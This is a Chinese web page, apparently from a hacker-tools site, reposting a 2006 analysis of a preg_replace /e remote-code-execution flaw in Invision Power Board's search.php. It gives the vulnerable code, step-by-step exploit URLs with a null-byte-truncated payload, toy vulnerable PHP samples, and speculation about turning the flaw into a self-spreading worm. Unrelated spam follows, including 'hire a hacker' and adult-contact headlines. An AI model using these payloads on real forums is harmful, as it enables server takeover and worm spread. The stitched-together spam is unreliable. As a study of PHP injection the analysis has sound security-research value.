微信聊天记录被清空了怎么查?一键查询微信聊天

访客3年前黑客工具1129

ipb search.php 漏洞分析及思考Author:SuperHei_[At]_ph4nt0m.orgBlog:http://superhei.blogbus.com/Team:http://www.ph4nt0m.orgData: 2006-04-27###############简单分析################该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php行1258-1262:if ( $this->ipsclass->input['lastdate'] ){$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );}}通过变量input['lastdate']注入/e, $this->output注入shellcode。###############利用 *** ################注册一个用户,发个贴 内容[shellcode]如下:[superheixxxxxxxeval(phpinf0()); //注意最后的;和//之间有一空格然后点“Search”--->Search by Keywords:superheixxxxxxxeval [记得选择Show results as posts ]可以得到searchidhttp://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&result_type=posts&highlite=superheixxxxxxxeval然后在后面加一个&lastdate=z|eval.*?%20//)%23e%00 也就是[/e]提交就ok了:http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&result_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00###############分析讨论################1. 简单分析:该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php行1258-1262:if ( $this->ipsclass->input['lastdate'] ){$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );}}通过变量input['lastdate']注入/e, $this->output注入shellcode。这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交的,其实不然,注意上面preg_replace里的第2个参数:\\1 selected='selected' 里面的\\1 为之一参数里正则表达试匹配后的值。归根结底我们提交的shellcode还是在第2个参数执行了。2. 注意最后的;和//之间有一空格这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+//3.preg_replace存在null截断漏洞????我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型:<?$a=$_GET[a];echo preg_replace("#(value=[\"']z|eval.*?//)#e{$a}[\"'])#i ","\\1 ","heigegegxxxxxxxeval(phpinfo());//");?>我们直接提交http://127.0.0.1/test2.php?a=2出现错误:Warning: Unknown modifier '2' in d:\easyphp\www\test2.php on line 3提交http://127.0.0.1/test2.php?a=%002 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。4."lastdate=z|eval.*?%20//)%23e%00"的构造主要是在this->output里以eval和%20//为标志取\\1 为执行的php代码。5.worm的利用?还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多......###############总结模型################1.直接在preg_replace第2个变量执行的模式:<?echo preg_replace("/test/e",$h,"jutst test");?>提交http://127.0.0.1/test/11/preg.php?h=phpinfo()实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞2.通过\\1[或者\\n]提取第3个变量里的php代码并执行的模式:<?echo preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $h);?>提交:http://127.0.0.1/test/11/preg.php?h=[php]phpinfo()[/php]参考:r57的exp:http://www.milw0rm.com/exploits/1720更多资料:http://www.google.com

相关文章

找黑客一般费用是多少?网上找黑客帮忙靠谱吗

电脑通过各种传输渠道发送文件,是企业信息安全管理最重要的一块。如果这些日常传送的文件涉及重要商业机密,则可能给企业带来重大损失,甚至关于生死存亡。要解决这些问题,我们需要依靠专业的管理工具,有一款大势...

找附近离婚女人过夜不要钱的(单身女富豪联系方式)

 找附近离婚女人过夜不要钱的(单身女富豪联系方式)李佳琦道歉...

上大学要带什么东西(大一新生入学必备清单)

上大学要带什么东西(大一新生入学必备清单) 一、生活用品 1、喝水的杯子 2、牙刷和牙膏 3、毛巾 4、肥皂以及皂盒 5、洗发水 6、沐浴液或者洗脸用的香皂 7、蚊香或者花露水 8、...

肖战吴宣仪主演电视剧《斗罗大陆》将于2月5日播

2月5日,肖战吴宣仪主演的新剧《斗罗大陆》官方发布最终预告,并配文:“青春学苑,天才集结,热血逍遥游!斗罗全员已登陆,快来和小伙伴们一起来周游武魂世界吧~”正式官宣该剧娱2...

排线是什么意思?手机排线坏了的症状图

排线是什么意思?手机排线坏了的症状图

手机屏幕的排线看上去很结实的样子,其实非常的脆弱。要是坏了就得整个屏幕换掉。现在有了万能宝,找屏幕什么的根本不是什么难事。但是对于技术宅来说,那可是证明技术,实力,耐力,无聊程度的好机会呀。换屏幕算什...

蛇怕什么,你知道几种驱蛇食物!

蛇怕什么,你知道几种驱蛇食物!

驱蛇草有蛇灭门之称,在南方的毒蛇产地,如云南、贵州、广西自治区等的山区村户将该草植于庭院附近或房前屋后,以防毒蛇入宅伤害人畜。此草治疗蛇毒极为灵验,当蛇伤患者用此药内外治疗,外敷有快速消散蛇伤肿毒...